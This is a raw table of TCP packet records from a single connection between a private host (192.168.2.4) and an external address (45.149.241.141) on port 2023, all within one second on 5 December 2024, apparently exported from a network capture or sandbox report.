Dec 5, 2024 10:46:37.337090969 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.337189913 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.337234020 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.338234901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.338325024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.338362932 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.339452028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.339524031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.339560986 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.340569019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.340677023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.340714931 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.341914892 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.341979980 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.342935085 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.342950106 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.342976093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.343000889 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.343976021 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.343991041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.344027042 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.345293999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.345474005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.345794916 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.347143888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.347254992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.347295046 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.348243952 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.348326921 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.348367929 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.349613905 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.349771976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.350888968 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.350938082 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.350965023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.351003885 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.351840019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.351944923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.352190018 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.352742910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.352803946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.352885008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.353652954 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.353681087 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.354307890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.354346037 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.354432106 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.354466915 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.355370045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.355417967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.355536938 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.356456995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.356553078 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.356592894 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.357608080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.357703924 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.358736992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.358783960 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.358822107 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.358865976 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.359925985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.360018015 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.360057116 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.361069918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.361166954 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.361215115 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.362181902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.362236023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.362278938 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.363101959 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.363332033 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.364152908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.364196062 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.364239931 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.364275932 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.365993023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.366163015 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.366874933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.366930008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.499169111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.499193907 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.499253035 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.499630928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.499664068 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.499716043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.500746012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.500761032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.500806093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.501791954 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.501842022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.501883984 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.503048897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.503134966 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.504056931 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.504101992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.504120111 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.504164934 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.505296946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.505321980 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.505361080 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.506361961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.506458998 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.506529093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.507469893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.507510900 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.507559061 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.508707047 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.508768082 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.508817911 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.509761095 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.509857893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.509900093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.510896921 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.511073112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.511121035 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.512084961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.512203932 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.513233900 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.513277054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.513297081 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.513339043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.514350891 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.514379978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.514435053 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.515561104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.515635967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.515784025 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.516700983 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.516776085 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.517151117 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.517740965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.517859936 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.517896891 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.518918037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.519124985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.519172907 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.520097017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.520170927 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.520247936 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.521179914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.521204948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.521246910 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.522300005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.522399902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.523155928 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.523447037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.523540020 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.523600101 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.524614096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.524749041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.524785042 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.525728941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.525796890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.525949001 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.526850939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.526998043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.527091980 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.528007030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.528093100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.528157949 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.529155970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.529295921 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.529360056 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.530280113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.530334949 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.531236887 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.531589031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.531615019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.531658888 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.532809019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.532969952 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.533009052 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.533853054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.533987999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.534352064 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.535063982 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.535164118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.535208941 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.536048889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.536123991 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.536211967 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.537147999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.537234068 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.537913084 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.538348913 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.538420916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.538459063 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.539657116 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.539818048 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.539984941 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.540718079 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.540790081 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.540834904 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.541707039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.541789055 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.542809963 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.542855024 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.542928934 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.542967081 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.543970108 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.544154882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.544213057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.545317888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.545375109 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.545810938 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.546304941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.546389103 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.546443939 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.547538996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.547563076 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.547616959 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.548676014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.548816919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.548892021 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.549917936 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.550116062 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.551348925 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.551418066 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.551441908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.551486969 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.552551985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.552671909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.552726984 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.553627968 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.553683043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.553736925 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.554655075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.554721117 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.554864883 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.555533886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.555598974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.555660009 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.556824923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.556946039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.557075024 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.557967901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.558041096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.558183908 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.558882952 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.602150917 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.691059113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.691107035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.691179991 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.691574097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.691766977 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.692202091 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.692917109 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.692956924 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.693003893 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.693873882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.693901062 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.693939924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.694993973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.695152998 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.695204020 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.696125984 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.696199894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.696252108 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.697271109 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.697377920 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.697429895 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.698528051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.698560953 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.699316978 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.699558020 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.699580908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.699631929 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.700706959 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.700810909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.701069117 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.701811075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.701931000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.701980114 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.702974081 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.703063011 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.703109026 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.704086065 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.704174995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.704227924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.705229998 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.705351114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.705406904 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.706437111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.706604004 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.706650972 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.707520008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.707596064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.707637072 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.708671093 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.708777905 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.708828926 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.709836960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.709953070 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.709999084 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.711035967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.711225986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.711275101 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.712099075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.712125063 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.712186098 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.713242054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.713424921 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.713479042 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.714358091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.714391947 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.714437962 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.715569973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.715657949 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.715701103 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.716666937 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.716737986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.716783047 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.717788935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.717817068 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.717875957 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.718929052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.718965054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.719012022 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.720153093 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.720220089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.720266104 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.721446037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.721600056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.722136021 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.722444057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.722565889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.722611904 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.723490953 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.723664045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.723699093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:37.724603891 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.724713087 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:37.724759102 CET	49738	2023	192.168.2.4	45.149.241.141
